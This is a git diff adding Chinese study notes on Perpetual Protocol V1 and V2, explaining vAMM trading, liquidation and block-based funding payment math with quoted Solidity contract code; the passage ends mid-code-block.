+    return outputAmount;
+}
+```
+
+`swapinput()`: 将 `quoteToken` 换成 `baseToken`
+
+注意， `quoteAssetAmount` 永远为正(不论多空方向), 如果多，USDC 进池子，计算 eth， 如果空，则计算输出为 `quoteAssetAmount` 的 USDC，需要多少 eth；
+
+- `getInputPrice(_dirOfQuote, _quoteAssetAmount)`
+- `getInputPriceWithReserves(Dir _dirOfQuote, Decimal.decimal memory _quoteAssetAmount, Decimal.decimal memory _quoteAssetPoolAmount, Decimal.decimal memory _baseAssetPoolAmount)`
+
+#### closePosition
+
+swapOutput
+
+- `isOverFluctuationLimit` 检查价格波动
+- 检查部分平仓还是全部平仓 `partialLiquidationRatio`
+
+  1. 全部平仓 `internalClosePosition` 
+  2. 部分平仓 则计算出`partiallyClosedPositionNotional`，内部开方向仓位`openReversePosition`
+  3. `getPositionNotionalAndUnrealizedPnl` 计算未结盈亏
+  4. `calcRemainMarginWithFundingPayment` 计算资金费率,并计算剩余保证金
+  5.  转保证金
+  6. 转手续费 fee = spread + toll
+
+  `swapOutput`: 将 baseToken 换成 quoteToken；如果做多，则池子 baseToken 增加，输出 quoteToken;
+  如果做空，则池子 baseToken 减少，输入 quoteToken, 计算平掉次空仓需要的 eth；
+
+#### liquidate
+
+- `getMarginRatio` 检查负债率，计算负债率：`MixedDecimal.fromDecimal(remainMargin).subD(badDebt).divD(_positionNotional)`;
+- 如果保证金率大于 `liquidationFeeRatio` ，部分清算
+- 如果保证金率小于 `liquidationFeeRatio`，调用 `internalClosePosition` 内部关仓，并且会跟 AMM 做一次交易；保证金改为负数；
+
+```solidity
+/**
+* @notice liquidate trader's underwater position. Require trader's margin ratio less than maintenance margin ratio
+* @dev liquidator can NOT open any positions in the same block to prevent from price manipulation.
+* @param _amm IAmm address
+* @param _trader trader address
+*/
+function liquidate(IAmm _amm, address _trader) public nonReentrant() {
+    internalLiquidate(_amm, _trader);
+}
+
+function internalLiquidate(IAmm _amm, address _trader)
+    internal
+    returns (Decimal.decimal memory quoteAssetAmount, bool isPartialClose)
+{
+    requireAmm(_amm, true);
+    SignedDecimal.signedDecimal memory marginRatio = getMarginRatio(_amm, _trader);
+
+    // including oracle-based margin ratio as reference price when amm is over spread limit
+    if (_amm.isOverSpreadLimit()) {
+        SignedDecimal.signedDecimal memory marginRatioBasedOnOracle =
+            _getMarginRatioByCalcOption(_amm, _trader, PnlCalcOption.ORACLE);
+        if (marginRatioBasedOnOracle.subD(marginRatio).toInt() > 0) {
+            marginRatio = marginRatioBasedOnOracle;
+        }
+    }
+    requireMoreMarginRatio(marginRatio, maintenanceMarginRatio, false);
+
+    PositionResp memory positionResp;
+    Decimal.decimal memory liquidationPenalty;
+    {
+        Decimal.decimal memory liquidationBadDebt;
+        Decimal.decimal memory feeToLiquidator;
+        Decimal.decimal memory feeToInsuranceFund;
+        IERC20 quoteAsset = _amm.quoteAsset();
+
+        int256 marginRatioBasedOnSpot =
+            _getMarginRatioByCalcOption(_amm, _trader, PnlCalcOption.SPOT_PRICE).toInt();
+        if (
+            // check margin(based on spot price) is enough to pay the liquidation fee
+            // after partially close, otherwise we fully close the position.
+            // that also means we can ensure no bad debt happen when partially liquidate
+            marginRatioBasedOnSpot > int256(liquidationFeeRatio.toUint()) &&
+            partialLiquidationRatio.cmp(Decimal.one()) < 0 &&
+            partialLiquidationRatio.toUint() != 0
+        ) {
+            Position memory position = getPosition(_amm, _trader);
+            Decimal.decimal memory partiallyLiquidatedPositionNotional =
+                _amm.getOutputPrice(
+                    position.size.toInt() > 0 ? IAmm.Dir.ADD_TO_AMM : IAmm.Dir.REMOVE_FROM_AMM,
+                    position.size.mulD(partialLiquidationRatio).abs()
+                );
+
+            positionResp = openReversePosition(
+                _amm,
+                position.size.toInt() > 0 ? Side.SELL : Side.BUY,
+                _trader,
+                partiallyLiquidatedPositionNotional,
+                Decimal.one(),
+                Decimal.zero(),
+                true
+            );
+
+            // half of the liquidationFee goes to liquidator & another half goes to insurance fund
+            liquidationPenalty = positionResp.exchangedQuoteAssetAmount.mulD(liquidationFeeRatio);
+            feeToLiquidator = liquidationPenalty.divScalar(2);
+            feeToInsuranceFund = liquidationPenalty.subD(feeToLiquidator);
+
+            positionResp.position.margin = positionResp.position.margin.subD(liquidationPenalty);
+            setPosition(_amm, _trader, positionResp.position);
+
+            isPartialClose = true;
+        } else {
+            liquidationPenalty = getPosition(_amm, _trader).margin;
+            positionResp = internalClosePosition(_amm, _trader, Decimal.zero());
+            Decimal.decimal memory remainMargin = positionResp.marginToVault.abs();
+            feeToLiquidator = positionResp.exchangedQuoteAssetAmount.mulD(liquidationFeeRatio).divScalar(2);
+
+            // if the remainMargin is not enough for liquidationFee, count it as bad debt
+            // else, then the rest will be transferred to insuranceFund
+            Decimal.decimal memory totalBadDebt = positionResp.badDebt;
+            if (feeToLiquidator.toUint() > remainMargin.toUint()) {
+                liquidationBadDebt = feeToLiquidator.subD(remainMargin);
+                totalBadDebt = totalBadDebt.addD(liquidationBadDebt);
+            } else {
+                remainMargin = remainMargin.subD(feeToLiquidator);
+            }
+
+            // transfer the actual token between trader and vault
+            if (totalBadDebt.toUint() > 0) {
+                require(backstopLiquidityProviderMap[_msgSender()], "not backstop LP");
+                realizeBadDebt(quoteAsset, totalBadDebt);
+            }
+            if (remainMargin.toUint() > 0) {
+                feeToInsuranceFund = remainMargin;
+            }
+        }
+
+        if (feeToInsuranceFund.toUint() > 0) {
+            transferToInsuranceFund(quoteAsset, feeToInsuranceFund);
+        }
+        withdraw(quoteAsset, _msgSender(), feeToLiquidator);
+        enterRestrictionMode(_amm);
+
+        emit PositionLiquidated(
+            _trader,
+            address(_amm),
+            positionResp.exchangedQuoteAssetAmount.toUint(),
+            positionResp.exchangedPositionSize.toUint(),
+            feeToLiquidator.toUint(),
+            _msgSender(),
+            liquidationBadDebt.toUint()
+        );
+    }
+
+    // emit event
+    uint256 spotPrice = _amm.getSpotPrice().toUint();
+    int256 fundingPayment = positionResp.fundingPayment.toInt();
+    emit PositionChanged(
+        _trader,
+        address(_amm),
+        positionResp.position.margin.toUint(),
+        positionResp.exchangedQuoteAssetAmount.toUint(),
+        positionResp.exchangedPositionSize.toInt(),
+        0,
+        positionResp.position.size.toInt(),
+        positionResp.realizedPnl.toInt(),
+        positionResp.unrealizedPnlAfter.toInt(),
+        positionResp.badDebt.toUint(),
+        liquidationPenalty.toUint(),
+        spotPrice,
+        fundingPayment
+    );
+
+    return (positionResp.exchangedQuoteAssetAmount, isPartialClose);
+}
+```
+
+#### funding fee
+
+可参看 amm 的 settleFunding 函数；一小时收取一次；
+
+获取仓位资产的数量
+
+options: the options for ethers.js, since openPosition() costs significant gas, sometimes the x
+
+可以参考交易 (千五手续费) <https://blockscout.com/xdai/mainnet/tx/0x925e7c24e594ec3987e3c8d67d72031ae9ca5ee3b5b7fc433759a2f958c043b1/token-transfers>
+
+查询账户持仓信息：`clearingHouseViewer`
+
+```solidity
+/**
+* @notice if funding rate is positive, traders with long position pay traders with short position and vice versa.
+* @param _amm IAmm address
+*/
+function payFunding(IAmm _amm) external {
+    requireAmm(_amm, true);
+
+    SignedDecimal.signedDecimal memory premiumFraction = _amm.settleFunding();
+    ammMap[address(_amm)].cumulativePremiumFractions.push(
+        premiumFraction.addD(getLatestCumulativePremiumFraction(_amm))
+    );
+
+    // funding payment = premium fraction * position
+    // eg. if alice takes 10 long position, totalPositionSize = 10
+    // if premiumFraction is positive: long pay short, amm get positive funding payment
+    // if premiumFraction is negative: short pay long, amm get negative funding payment
+    // if totalPositionSize.side * premiumFraction > 0, funding payment is positive which means profit
+    SignedDecimal.signedDecimal memory totalTraderPositionSize = _amm.getBaseAssetDelta();
+    SignedDecimal.signedDecimal memory ammFundingPaymentProfit = premiumFraction.mulD(totalTraderPositionSize);
+
+    IERC20 quoteAsset = _amm.quoteAsset();
+    if (ammFundingPaymentProfit.toInt() < 0) {
+        insuranceFund.withdraw(quoteAsset, ammFundingPaymentProfit.abs());
+    } else {
+        transferToInsuranceFund(quoteAsset, ammFundingPaymentProfit.abs());
+    }
+}
+```
+
+未实现盈亏计算：`UnrealizedPnl`
+
+```solidity
+function getPositionNotionalAndUnrealizedPnl(
+    IAmm _amm,
+    address _trader,
+    PnlCalcOption _pnlCalcOption    //  { SPOT_PRICE, TWAP, ORACLE }
+) public view returns (Decimal.decimal memory positionNotional, SignedDecimal.signedDecimal memory unrealizedPnl) {
+    Position memory position = getPosition(_amm, _trader);
+    Decimal.decimal memory positionSizeAbs = position.size.abs();
+    if (positionSizeAbs.toUint() != 0) {
+        bool isShortPosition = position.size.toInt() < 0;
+        IAmm.Dir dir = isShortPosition ? IAmm.Dir.REMOVE_FROM_AMM : IAmm.Dir.ADD_TO_AMM;
+        // 从amm获取价格，根据仓位值计算名义仓位
+        if (_pnlCalcOption == PnlCalcOption.TWAP) {
+            positionNotional = _amm.getOutputTwap(dir, positionSizeAbs);
+        } else if (_pnlCalcOption == PnlCalcOption.SPOT_PRICE) {
+            positionNotional = _amm.getOutputPrice(dir, positionSizeAbs);
+        } else {
+            Decimal.decimal memory oraclePrice = _amm.getUnderlyingPrice();
+            positionNotional = positionSizeAbs.mulD(oraclePrice);
+        }
+        // 未实现持仓根据名义持仓和开仓价相减计算
+        // unrealizedPnlForLongPosition = positionNotional - openNotional
+        // unrealizedPnlForShortPosition = positionNotionalWhenBorrowed - positionNotionalWhenReturned =
+        // openNotional - positionNotional = unrealizedPnlForLongPosition * -1
+        unrealizedPnl = isShortPosition
+            ? MixedDecimal.fromDecimal(position.openNotional).subD(positionNotional)
+            : MixedDecimal.fromDecimal(positionNotional).subD(position.openNotional);
+    }
+}
+```
+
+
+### 手续费
+
+### K值调节
+K值调节会影响所有用户仓位;
+ cumulativeNotional = cumulativeNotional.addD(_quoteAssetAmount); 计价是用USDC计算净头寸。
+1. 此段时间的新增头寸 notionalDelta （netP1-netP0），按K0时刻的储备进行swap，得到baseAssetWorth;
+2. 得到这些净头寸在K0时候发生时，造成的baseReserve和quoteReserve;
+3. 计算用户仓位（positionSize）在baseReserve和quoteReserve下仓位的名义值(posNotional);
+4. 仓位名义值再按K1的时刻的池子储备进行兑换，计算用户调整后的持仓（newPositionSize）。
+
+## 参考链接
+
+- 头等仓：<https://mp.weixin.qq.com/s/Oq7g3_AjRP4Of__K9Gp_bw>
+- perp a-deep-dive-into-our-virtual-amm-vamm: <https://medium.com/perpetual-protocol/a-deep-dive-into-our-virtual-amm-vamm-40345c522eeb>
+- 资金费率：<https://medium.com/derivadex/funding-rates-under-the-hood-352e6be83ab>
+- perp 资金费率：<https://blog.perp.fi/block-based-funding-payment-on-perp-v2-35527094635e>
diff --git a/defi/Perpetual-V1/perpv1.md b/defi/Perpetual-V1/perpv1.md
new file mode 100644
index 000000000..fa5ac1a6b
--- /dev/null
+++ b/defi/Perpetual-V1/perpv1.md
@@ -0,0 +1,52 @@
+# Perpetual V1
+   [官网地址](https://perp.exchange/t/BTC:USDC)  
+   与Uniswap一样，交易者可以在无需交易对手的状态下直接使用我们的vAMM进行交易。 vAMM通过恒定乘积设定交易标的的可预测价格，从而保证了链上的流动性。 此外，vAMM还被设计为市场中立且完全抵押的机制。  
+   PERP持有者通过将其拥有的PERP代币放到质押池中，从而成为质押者。作为回报，质押者除了获得质押奖励外，还将获得部分交易手续费的分成。  
+
+ ## 功能
+  1. 做多，做空各种资产（资产数正逐步增加）
+  2. 包括BTC，ETH，DOT，SNX，YFI等
+  3. 进行高达10倍的杠杆交易
+  4. 以0 gas fee进行交易（xDai链）
+  5. 所有交易均为100%链上交易
+  6. 交易是100%非托管的
+
+
+ ## 交易引擎
+ 正向合约，抵押品（USDC）
+ vAMM： 
+ - 永续协议不使用流动性 / 无需流动性提供者。
+ - 永续协议100％基于AMM；无需订单簿机制。
+ - 链上价格反映了永续协议上的交易 - 价格仅在开仓或平仓时产生滑点。
+
+ ## 杠杆机制
+    - 初始保证金率：10%， 最大十倍杠杆
+    - 维持保证金率： 6.25% 
+
+ ## 清算机制
+
+ 如果该资产的价值（即您的头寸）下跌，则您的损失增加并开始接近保证金的价值（即您的初始抵押品）。这使交易所处于风险之中—突然的价格波动可能会使您的头寸价值小于抵押品价值。 如果您的资产价值危险地接近抵押品的价值，交易所将主动清算您的头寸，以避免损失。
+ 当您的头寸保证金比率下降到6.25％或更低时，便会发生清算。这被称为维持保证金率。
+
+
+
+**部分清算**
+只要您的资产价值与保证金之间的比率高于2.5％，您的头寸中只有25％会被清算。
+举一个简单的例子，如果您的头寸价值为1000 USDC，杠杆为2倍，则您的保证金为500 USDC。假设该头寸的价值下降至660 USDC
+
+**清算价格**
+在剧烈市场波动下基于预言机的清算
+为了应对闪崩风险，如果标记价格与指数价格（Oracle价格）相差10％以上，则会根据Oracle价格评估清算。
+
+
+
+ 
+  **资金费率**
+Perp上提供的是永续合约，每1小时收取一次资金费，按照加密货币衍生品交易所FTX的规则进行计算，公式如下：
+
+
+
+**清算**
+当保证金比例下降到6.25%或以下时，就会发生清算，这一规则即维持保证金（Maintenance Margin）。
+清算由清算人的机器人出发，作为清算的奖励，清算人获得6.25%保证金中的1.25%，其余最高5%保证金存入协议保险基金。
+
diff --git a/defi/Perpetual-V2/Block-basedFundingPayments.md b/defi/Perpetual-V2/Block-basedFundingPayments.md
new file mode 100644
index 000000000..88f2cd6fd
--- /dev/null
+++ b/defi/Perpetual-V2/Block-basedFundingPayments.md
@@ -0,0 +1,450 @@
+# Block-based Funding Payments
+
+> 原文 [《Block-based Funding Payment On Perp v2》 by 田少谷 Shao](https://blog.perp.fi/block-based-funding-payment-on-perp-v2-35527094635e) </br> [《How Block-based Funding Payments are Implemented On Perp v2》 by 田少谷 Shao](https://blog.perp.fi/how-block-based-funding-payment-is-implemented-on-perp-v2-20cfd5057384)
+
+## Intro
+
+由 Bitmex 发明的永续合约是加密领域最受欢迎的创新之一。通过引入 funding 机制，可以将其视为定期结算时间表，期货没有到期日，taker 因此可以减少对时间因素的担忧，而专注于价格投机。
+
+与 Perp v1 中的每小时收取 funding payment 相比，Perp v2 有一个新的 funding 机制：基于区块的 funding，它为每笔交易结算 funding payment (**block-based funding, which settles funding payments on each trade**)。
+
+## Funding Rate & Payment
+
+```math
+Premium = Mark Price - Index Price
+Funding Rate = Premium / Index Price = (Mark - Index) / Index
+```
+
+- `Mark price` perp 市场的交易价格，是 virtual token 交易对的 uniswap v3 pool 的 `Mid price`, 即 该交易对所有交易池子（不同费率）的平均价格
+- `Index price` 通常是来自其他交易所的参考价格；包括 Chainlink 等价格预言机
+- `Premium` 前两者之差
+
+`Funding Rate` 本质上是衡量 `Mark price` 与 `Index price` 的偏离程度。
+
+`funding payment`:
+
+```math
+Position Value = Position Size * Index Price
+Funding Payment = Position Value * Funding Rate
+                = Position Size * Index * Premium / Index
+                = Position Size * Premium
+```
+
+假设 Alice 想要开多仓，头寸规模 1ETH，此时 `Mark price = 4200`, 而 `Index price = 4000`。`Funding rate = (4200 — 4000) / 4000 = 5%`, Alice 需要支付 `funding payment = 4000 * 0.05 = 1 * (4200 - 4000) = 200`。那么这笔钱向谁支付？
+
+- When `funding rate > 0`, long pay shorts
+- When `funding rate < 0`, shorts pay long
+
+由于 Alice 开了多仓，所以需要向做空一方支付 200.
+
+注意不需要现金结算，常见的做法是生成收款凭证 receipt。
+
+## Periodic Funding
+
+在上述例子中，我们需要多久统计一次付费情况？将 `Funding Rate` 作为一天的支付费率。在 Bitmex 的设计中，每 8 小时收取一次 funding ，一天收费频率是 3 。如果像 FTX 一小时收取一次，则频率为 24。
+
+如果 taker 总是在两次收费之间完成开仓平仓，就会逃过 funding 的收取。
+
+## Block-based Funding
+
+Block-based Funding 机制，是每当交易发生时，无论多头还是空头，funding 都会被结算。公式几乎相同，只是 funding 收取间隔稍作修改：
+
+```math
+Funding Rate = (Premium / Index Price) * Δtime / 1 day
+```
+
+在每笔交易时触发 funding 的计算，`Δtime` 是两笔交易之间的间隔，以秒计算 (基于 `block.timestamp`)，一天则是 `60 * 60 * 24 = 86400 seconds`。
+
+`Funding Interval = Δtime / 1 day`
+
+每次新交易时，都会记录自上次交易以来的新 funding rate。通过这种机制，就能杜绝逃避 funding 的行为。
+
+然而代码实现上不能真的每一笔交易都去计算一下新的 funding rate，会极其消耗 gas
+
+| Time | Funding rate | Index price |
+| ---- | ------------ | ----------- |
+| 1000 | 0.5%         | i0          |
+| 1030 | 0.2%         | i1          |
+| 1045 | 0.4%         | i2          |
+| 1100 | 0.3%         | i3          |
+
+假设 taker 在价格 1000 时开仓，头寸价值 S，`funding payment` :
+
+```math
+S * (
+    (1030 - 1000) * 0.2% * i1)   // funding payment for (1000, 1030)
+    + (1045 - 1030) * 0.4% * i2) // funding payment for (1030, 1045)
+    + (1100 - 1045) * 0.3% * i3) // funding payment for (1045, 1100)
+)
+```
+
+将 S 与 `Index price` 相乘的原因是为了得到 `Position value` ，因为 `Funding Payment = Position Value * Funding Rate`。
+
+在 solidity 中需要记录两个累计值，一个全局的 cumulative global funding growth，第二个累计值是单个用户的。
+
+另一个难点在于流动性提供者的头寸规模可能不断的变化，导致 S 的值也不是固定的，如何准确的衡量 S 。
+
+## Funding Payments for Makers
+
+Perp v2 的 maker 是一个全新的角色，不曾在 Perp v1 中出现过。在传统订单簿交易所中，maker 作为 LP，是 taker 的对手盘，他们将收到对方的 funding payment。
+
+假如市场中只有一位 taker 和一位 maker，如果 taker 开多仓，意味着 maker 开 1 个等值的空仓。
+
+与订单簿交易所唯一的不同是 AMMs 是被动做市的。一旦 maker 将他们的流动性置于池中，将只能被动的做市，无法决定以何种价格交易。
+
+因此，taker 和 maker 执行 funding payment 的最大区别在于，taker 的头寸规模仅在头寸的每一次头寸修改操作中发生变化。每次 taker 修改头寸时，我们都可以结算之前累计的 funding payment，并为即将到来的 funding payment 更新头寸规模。
+
+然而，maker 的头寸规模不仅会随着增加或移除流动性而改变。只要他们的流动性处于 range/active 状态，这意味着**流动性被 taker 利用时，maker 的头寸规模就会根据 taker 持有的头寸规模不断变化**。
+
+## Cumulative Funding Payments for Takers
+
+我们将刚才累计的例子转换成数学表达：
+
+| Time | Funding rate | Index price |
+| ---- | ------------ | ----------- |
+| t0   | f0           | i0          |
+| t1   | f1           | i1          |
+| t2   | f2           | i2          |
+| t3   | f3           | i3          |
+
+```math
+S * (
+    (t1 - t0) * f1 * i1)   // funding payment for (t0, t1)
+    + (t2 - t1) * f2 * i2) // funding payment for (t1, t2)
+    + (t3 - t2) * f3 * i3) // funding payment for (t2, t3)
+)
+```
+
+上述是 maker 的头寸规模没有发生变化时的情况，那么如果期间发生变化了呢？例如在 t1 时刻从 S 变成了 S'
+
+```math
+S  * (t1 - t0) * f1 * i1 +    // (t0, t1) with size S
+S' * ( (t2 - t1) * f2 * i2)   // (t1, t2) with size S'
+     + (t3 - t2) * f3 * i3) ) // (t2, t3) with size S'
+```
+
+一个阶段的 funding payment 是 头寸规模 S 乘以 `Δtime * Index price * Funding Rate`，前提是 头寸规模 S 期间不会发生改变。
+
+<!--$\sum_{t=1}^{t'}{S_{t}*I_{t}*F_{t}*(\Delta(t)-\Delta(t-1))}$-->
+<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><munderover><mo data-mjx-texclass="OP">∑</mo><mrow><mi>t</mi><mo>=</mo><mn>1</mn></mrow><mrow><msup><mi>t</mi><mo>′</mo></msup></mrow></munderover><mrow><msub><mi>S</mi><mrow><mi>t</mi></mrow></msub><mo>∗</mo><msub><mi>I</mi><mrow><mi>t</mi></mrow></msub><mo>∗</mo><msub><mi>F</mi><mrow><mi>t</mi></mrow></msub><mo>∗</mo><mo stretchy="false">(</mo><mi mathvariant="normal">Δ</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>−</mo><mi mathvariant="normal">Δ</mi><mo stretchy="false">(</mo><mi>t</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow></math>
+
+
+- S: position size
+- I: index price
+- F: funding rate
+- Δ(t): timestamp of t; Δ(t)- Δ(t — 1) is the time difference
+
+### Spec
+
+- 每当头寸发生变化时，应结算自上次交易以来累积的 funding payment 并更新头寸规模
+- 存储全局变量 G 作为 `Δtime * Index price * Funding Rate` 的**累计值**
+  - 该全局变量需要在每笔交易时触发更新；
+  - 同样，由于 `Index Price * Funding Rate = Premium`, G 还可以表达为 $\sum{time}(\Delta time * Premium)$
+- 当 taker 开仓头寸或修改头寸规模，记录每一个 taker 的累计值 E 将被当时的全局累计值 G 赋值 `E = G`
+- 一段时间后，taker 的 funding payment 是 `S * (G' - E)`, G‘ 是当前的全局累计值
+
+目前计算 taker 的 funding payment 还比较简单，接下来看看 maker 的计算。
+
+## Cumulative Funding Payments for Makers
+
+计算 maker 的 funding payment 难点在于如果他们的头寸处于 active/currently 状态，流动性被 taker 使用，那么 maker 的头寸规模会一直受价格影响而变化（本质上是 Uniswap v3 做市价格区间内，资产比例随价格变化）。
+
+关于 Uniswap v3 做市的机制详解参见 [UnderstandV3Witepaper](../../defi/Uniswap-V3/whitepaperGuide/understandV3Witepaper.md)
+
+### How Perp v2 Builds on Uniswap v3
+
+在 Perp v2 每一个交易市场都会初始化一个 Uniswap v3 pool，并生成交易对相应的 v-token (virtual token)，概念沿用 Perp v1 vAMM。
+
+所以本质上 Perp v2 的交易市场就是在 Uniswap v3 pool 的基础上增加了一些特性。
+
+- v-token 在 Uniswap v3 pool 中的价格就是 Perp v2 的 `Mark price`
+- Perp v2 的开仓做多或者做空，实际上是在 Uniswap v3 pool 的 swap 操作
+- Perp v2 的提供流动性，实际上是向 Uniswap v3 pool 提供流动性；别称 range order；
+
+我们将 v-ETH, v-BTC 或者 v-whatever 称之为 **base token**, v-USDC 称之为 **quote token**。
+
+持有正数数量 base token 的用户，就是持有多头头寸；持有负数数量 base token 的用户，即从协议借出 base token 的用户，则持有空头头寸；
+
+假如一位 maker 于 range(3000, 5000) 提供了 1 v-ETH 和 4000 v-USDC 的流动性 , 当时 v-ETH 的 mark price 是 4000。
+
+- 如果价格超过 5000， maker 的流动性还剩 0 v-ETH 和大约 (4000 + 4472) v-USDC
+- 如果价格低于 3000，maker 的流动性还剩大约 (1+1.15) v-ETH 和 0 v-USDC
+
+每当 taker 在 maker 的做市价格区间中交易，总会影响 maker 的头寸。我们是否可以追踪每一笔交易对每一个 maker 头寸的影响呢？
+
+可以，前提是**funding payment 只能在 quote token 中收取，不能在 base token 中收取**。因为如果在 base token 中收取 funding payment，则必须每次都根据收取之后都还要交易成 USDC ，因为用户实际只会存取和赎回 USDC (quote token)。
+
+遗憾的是我们无法找到一个节省 gas 的实现方法。因为一笔交易可能涉及多个 range order (不同 maker 注入的流动性)，每一次交易不但要计算 taker 的 funding，还要去遍历计算每一个涉及到的 range order 他们之中 base token 数量的变化情况。
+
+现在我们的任务就是在 Uniswap v3 pool 的基础上增加功能，以便可以追踪用户头寸规模的变化。
+
+maker 的 `base token amount` 可以用 Uniswap v3 的函数接口获得 [`LiquidityAmounts.getAmount0ForLiquidity()`](https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/LiquidityAmounts.sol#L82) 给定价格区间的 2 个边界和 流动性数量，计算 token0 的数量。
+
+因为 base token 总是会被 Perp v2 部署为 token0（v-USDC 总是 token1）：
+
+```math
+Base token amount = LiquidityAmounts.getAmount0ForLiquidity()
+                  = liquidity * (1 / sqrt(lower) - 1 / sqrt(upper))
+```
+
+- Liquidity 是衡量 maker 提供流动性的量化
+- lower and upper 是 maker 提供流动性的价格区间边界
+- sqrt: square root
+
+base token amount 跟随 `Mark price` 的变化规律：
+
+- Mark ≤ lower: `liquidity * (1 / sqrt(lower) — 1 / sqrt(upper))`
+- lower < Mark < upper: `liquidity * (1 / sqrt(Mark) — 1 / sqrt(upper))`
+- Mark ≥ upper: `liquidity * (1 / sqrt(upper) — 1 / sqrt(upper)) = 0`; 所有 base token 都被转换为 quote token 计量;
+
+> 上述公式由来参考 Uniswap v3 white paper 6.2.3
+
+当 maker 添加流动性之后，价格区间 lower and uppper 不再改变，除非他们直接修改流动性头寸，或者移除再添加其他区间，所以可以认为在不考虑流动性操作的前提下，影响 maker 头寸规模的因素就是 `Mark price`。
+
+假设 Alice 于 t0 时刻在 range(lower, upper) 注入流动性，此时 mark price 仍小于 lower 价格边界 `m0 < lower`
+
+- t1: Mark price m1 = lower; premium p1
+- t2: Mark price lower < m2 < upper; premium p2
+- t3: Mark price m3 = upper; premium p3
+
+```math
+(t0, t1): liquidity * (1 / sqrt(m1 = lower) — 1 / sqrt(upper)) * p1 * (t1 — t0)
+(t1, t2): liquidity * (1 / sqrt(m2) — 1 / sqrt(upper)) * p2 * (t2 - t1)
+(t2, t3): liquidity * (1 / sqrt(m3 = upper) — 1 / sqrt(upper)) * p3 * (t3 - t2) = 0
+```
+
+上述表达式中的共同元素：
+
+- Mark price `(m0, m1, m2)`, Premium `(p1, p2 ,p3)` , Δtime `(t1-t0, t2-t1, t3-t2)`；这三者都是全局变量的不同时刻的值；
+- 两个常量 `liquidity` 和 `sqrt(upper)`
+
+$\sum{(\Delta time * \frac{1}{\sqrt{MarkPrice}} * premium * liquidity)} - \sum{(\Delta time * \frac{1}{\sqrt{upper}} * premium * liquidity)}$
+
+由于 `liquidity` 和 `sqrt(upper)` 不变，可以化简：
+
+$\sum{(\Delta time * \frac{premium}{\sqrt{MarkPrice}})} * liquidity - \sum{(\Delta time * premium)} * \frac{liquidity}{\sqrt{upper}}$
+
+$\sum{(\Delta time * premium)}$ 我们其实已经将其存为全局变量 G；因此我们现在需要增加的全局变量即为 $\sum{(\Delta time * \frac{premium}{\sqrt{MarkPrice}})}$ 计作 G';
+
+最终我们得到了 maker 的 funding payment 表达式：
+
+$liquidity * (G' — \frac{G}{\sqrt{upper}})$
+
+<hr>
+
+t1 时刻，Alice 的头寸规模实际上是 0，因为价格刚刚触及 lower，此时并没有 taker 和她成为对手方。
+
+> 注意：此时 Alice 的range order 虽然全部是 base token，但由于多空相抵，所以整体来算 Alice 的头寸规模为 0
+
+t2 时刻，当价格在 `lower < m2 < upper`, 与 t0 时刻的数量之差则为：
+
+```math
+(liquidity * (1 / sqrt(m2) — 1 / sqrt(upper)) — liquidity * (1 / sqrt(lower) — 1 / sqrt(upper))
+= liquidity * (1 / sqrt(m2) - 1 / sqrt(lower))
+```
+
+t3 时刻，当价格 `upper < m3`, 此时 base token 已经被 taker 全部交易走，与 t0 时刻数量之差：
+
+```math
+0 — liquidity * (1 / sqrt(lower) — 1 / sqrt(upper))
+= -liquidity * (1 / sqrt(lower) — 1 / sqrt(upper))
+```
+
+总结上述 3 种情况可以写为：
+
+```math
+A maker's funding payment
+= funding payment for how many base tokens left (equation A) - funding payment for the original base token amount (equation B)
+
+= funding payment for a maker's position size
+```
+
+- `equation A` 是当前 maker 还剩多少 base token
+
+- `equation B` 是 maker 做市的流动性如果全部变成 base token 的数量(`Mark price` 低于价格下边界时)，即 `original base token amount`；可以通过 `LiquidityAmounts.getAmount0ForLiquidity()` 获取结果
+
+<hr>
+
+当 `Mark price` 超出做市价格区间，头寸规模是固定不变的，要么没有 base token 头寸为 0，要么全部是 base token。 因此只需要知道 `Mark price` 分别在区间内外的时间即可算出 funding payment。
+
+### spec
+
+- 每当流动性头寸被修改（数量和价格区间上下限），应立即结算之前累计的 funding payment，并更新参数
+- 新增一个全局 storage 变量 G2 : $\sum{(\Delta time * \frac{premium}{\sqrt{MarkPrice}})}$ 每次交易都会更新全局变量
+- 在价格 tick 上新增两个变量，在 `Mark price` 进入或离开 tick 时保存当时的全局累计变量 G 和 G2， 其原理机制与 Uniswap v3 的手续费计算相同
+- 要知道在何时去 收取/支付 一位 maker 的 funding payment，需要在 maker 初始化或者修改流动性时去更新 maker 的 `personal entry values` E, E'
+- `maker's funding payment = (equation A) — (equation B)`
+  - equation B 是用户添加流动性时，根据添加的 base token 来计算头寸规模的 funding payment
+
+> 注意：maker首先存入资产 USDC 到 Vault 模块，然后借出 vtoken 开 range order (添加流动性)，如果添加的有 base token，那么这部分相当于 maker 从协议中借出相应的 base token (做空)，再注入到协议中 (做多)，所以刚添加完流动性，此时价格没有改变，那么 maker 的多空相抵，是不会产生 funding payment 的；一旦价格变化，maker 剩余的 base token 发生变化，相当于平掉一部分 多头 仓位，那么此时空大于多，maker 就需要计算这部分空仓的 funding payment了；
+
+`equation B` 的计算公式和 taker 的类似，因为 maker 添加流动性时的初始头寸规模不会变化
+
+`equation A` 的计算需要分 3 种情况:
+
+1. `Mark price >= upper`: 0, 没有 funding payment，因为此时 base token 已耗尽
+2. `Mark price <= lower`: 因为此时价格区间不是 active 状态， base token 等于 `LiquidityAmounts.getAmount0ForLiquidity()`，计算公式和 `equation B` 相同
+3. `L < Mark < U` : `liquidity * ((G' — E') — (G — E) / sqrt(upper))`
+
+需要注意的是每当 `Mark price` 穿过边界的 tick 时，需要更新 G, G', E 和 E‘
+
+最终我们将情况 2 和 情况 3 的 funding payment 加起来就是 range order 的 funding payment
+
+> 注意：`equation A - equation B` 只考虑了价格在区间内的情况，当价格小于 lower，虽然 range order 并未参与做市，但 maker 依然持有 base token 头寸，所以还需要累计 funding payment，所以我们之后还需要考虑累加当 `Mark price < lower` 的 funding payment
+
+## Implementation
+
+- Global Cumulative Values: 在 Funding.sol, Growth struct 中包含两个字段: `twPremiumX96` & `twPremiumDivBySqrtPriceX96`.
+- 分别是 $\sum{(\Delta time * premium)}$ 和 $\sum{(\Delta time * \frac{premium}{\sqrt{MarkPrice}})}$
+
+```solidity
+/// @dev tw: time-weighted
+/// @param twPremiumX96 overflow inspection (as twPremiumX96 > twPremiumDivBySqrtPriceX96):
